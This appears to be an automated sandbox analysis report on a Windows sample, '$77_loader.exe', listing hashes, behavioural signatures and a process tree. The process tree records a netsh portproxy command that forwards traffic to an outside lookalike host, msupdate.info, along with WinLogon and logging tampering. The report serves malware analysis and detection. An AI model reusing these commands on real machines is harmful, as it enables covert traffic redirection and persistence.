Analysis

  • max time kernel
    146s
  • max time network
    166s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    10-05-2022 05:35

General

  • Target

    $77_loader.exe

  • Size

    397KB

  • MD5

    aff57ee1a4f3731c2036046910f78fb4

  • SHA1

    ef9627c0cadff85a3dfaab6aef0b7c885f03b186

  • SHA256

    3826953ded758361f9783d67242e4ba87092d637d72bcf81c649e52665c57de4

  • SHA512

    5ae93c6dae61782a7ac2fa2079df7006e0655d73e32fd7df1a5c1d44e47fd7dd2da225ea6f93e9d3dcb09be5f84b5dab2130bb4f2d5b0e05d95e866ebde0163f

Score
8/10

Malware Config

Signatures

  • Sets file execution options in registry 2 TTPs
  • Modifies WinLogon 2 TTPs 3 IoCs
  • Modifies powershell logging option 1 TTPs
  • Drops file in Windows directory 2 IoCs
  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\$77_loader.exe
    "C:\Users\Admin\AppData\Local\Temp\$77_loader.exe"
    1⤵
    • Modifies WinLogon
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lymd7jqs.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3992
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES675B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC675A.tmp"
        3⤵
          PID:4708
      • C:\Windows\system32\chcp.com
        "C:\Windows\system32\chcp.com" 437
        2⤵
          PID:3132
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" interface portproxy show all
          2⤵
            PID:3612
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1852
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:2976
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:4872
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" interface portproxy reset
            2⤵
              PID:4360
            • C:\Windows\system32\netsh.exe
              "C:\Windows\system32\netsh.exe" interface portproxy show all
              2⤵
                PID:2304
              • C:\Windows\system32\netsh.exe
                "C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=757 connectport=443 connectaddress=msupdate.info
                2⤵
                  PID:4072
                • C:\Windows\system32\netsh.exe
                  "C:\Windows\system32\netsh.exe" interface portproxy show all
                  2⤵
                    PID:784
                  • C:\Windows\system32\netsh.exe
                    "C:\Windows\system32\netsh.exe" interface portproxy show all
                    2⤵
                      PID:3184
                  • C:\Windows\system32\msiexec.exe
                    C:\Windows\system32\msiexec.exe /V
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4052

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\RES675B.tmp

                    Filesize

                    1KB

                    MD5

                    90c1ba1a3c1fdfdf782324d09293d9fc

                    SHA1

                    564417a0c3f22b815a64bebdd772cd8c969dffae

                    SHA256

                    c9e83e06df6ee9e765710ea2d795033278a64ab5309bc954b0b6c2c241aeb6a5

                    SHA512

                    3709613bf6103c9004cfd806a41148532775640c5416606b9ac3f40ed252cbc1f69f8472485428bcdbb87119d6a8521ed3e9d0c664083f8772f568bd9b5aad19

                  • C:\Users\Admin\AppData\Local\Temp\lymd7jqs.dll

                    Filesize

                    3KB

                    MD5

                    8ee2b8ba7614c39c6a430e9885e48b1a

                    SHA1

                    7f7f0a63e1b12495151cf9b2d71009fccc26ed4b

                    SHA256

                    c561f309d93b230b3af0cb24dd4481fcf4cf7394bf4310e9d1dd9512cd8f8e06

                    SHA512

                    af72a4cf19726b936723b63f572a1ab97c0384a3cd331155b0d0c35eed42378c422364ff6fa29a7be7b4e3038cd882fafd576adcb1b0585d0f718b50eb82c845

                  • C:\Users\Admin\AppData\Local\Temp\lymd7jqs.pdb

                    Filesize

                    11KB

                    MD5

                    8154d6ba5c87c0aec23aa9c8b66a79b7

                    SHA1

                    a6456adc313e11a2020f055505212494082193f6

                    SHA256

                    9700334d25dc85f4ca4c10398e2e64acb614da2a775bbacc88ac6789035e9f4d

                    SHA512

                    f39a680d84ab6b5dd3787b62f1f0c738c64e71c5ae0cc0e4f78eb71bb65c05ba52a794d5fcbabddf162e953047bc161d9db460abb9638aa9c4d08a2a65faae80

                  • \??\c:\Users\Admin\AppData\Local\Temp\CSC675A.tmp

                    Filesize

                    652B

                    MD5

                    326135b06eec7119e84f4086cd60ae86

                    SHA1

                    1ec6202e25007b29bba6323642dc211943ba63a2

                    SHA256

                    78bc3c4ee980df9b772c99c0a0f92ca34b505cb3f28b67510dc498777919b3b8

                    SHA512

                    1644eddcf5c4f96260fc73ea1be43ab836d03d3cd9e99a3b31fbaaf2f10c4c82f5225f5aafeba13122fa7c875d0c43b5e04cc79cc7267dcd4e0474102a979f16

                  • \??\c:\Users\Admin\AppData\Local\Temp\lymd7jqs.0.cs

                    Filesize

                    447B

                    MD5

                    1640a04633fee0dfdc7e22c4f4063bf6

                    SHA1

                    3cb525c47b5dd37f8ee45b034c9452265fba5476

                    SHA256

                    55e16d2ca3e65ce6c62cd5be2af5d7264445c5d7e1b5f3be7149acfb47ae42a0

                    SHA512

                    85c5103dda738d6003d39b0b619e68942965ddb9d6e08e544abf377224fdb29c6cd1501a549e99e57875954cea44b5bdefd7cace018c8123e7bfb717ae0e973d

                  • \??\c:\Users\Admin\AppData\Local\Temp\lymd7jqs.cmdline

                    Filesize

                    309B

                    MD5

                    32440e8a0dc28a1984607b2153ae985a

                    SHA1

                    e46bf60b542abe1286d429f37ff4a34bc106767d

                    SHA256

                    df8fcf31d33ba3d74b2b12808019d54a11a634348844e01ea30475f64ea660e4

                    SHA512

                    8211bbab1b9a1ff9e683e676f5c50e415917ded44445ebedb859b47c2bd229ecbc7a0b82bbd0608598ab7564d97884f5c8457b170ab824d77a688a59b9860c93

                  • memory/784-147-0x0000000000000000-mapping.dmp

                  • memory/1852-141-0x0000000000000000-mapping.dmp

                  • memory/2304-145-0x0000000000000000-mapping.dmp

                  • memory/2800-130-0x00007FFF98C90000-0x00007FFF997ED000-memory.dmp

                    Filesize

                    11.4MB

                  • memory/2976-142-0x0000000000000000-mapping.dmp

                  • memory/3132-139-0x0000000000000000-mapping.dmp

                  • memory/3184-148-0x0000000000000000-mapping.dmp

                  • memory/3612-140-0x0000000000000000-mapping.dmp

                  • memory/3992-131-0x0000000000000000-mapping.dmp

                  • memory/4072-146-0x0000000000000000-mapping.dmp

                  • memory/4360-144-0x0000000000000000-mapping.dmp

                  • memory/4708-134-0x0000000000000000-mapping.dmp

                  • memory/4872-143-0x0000000000000000-mapping.dmp